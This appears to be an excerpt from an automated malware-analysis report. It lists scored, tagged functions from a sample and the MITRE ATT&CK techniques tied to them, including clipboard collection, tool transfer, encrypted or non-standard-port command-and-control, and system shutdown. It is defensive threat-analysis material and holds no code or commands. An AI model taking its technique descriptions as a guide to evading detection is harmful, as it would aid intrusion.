Function 02141BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Function 02144430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Function 02150682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Function 021530BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre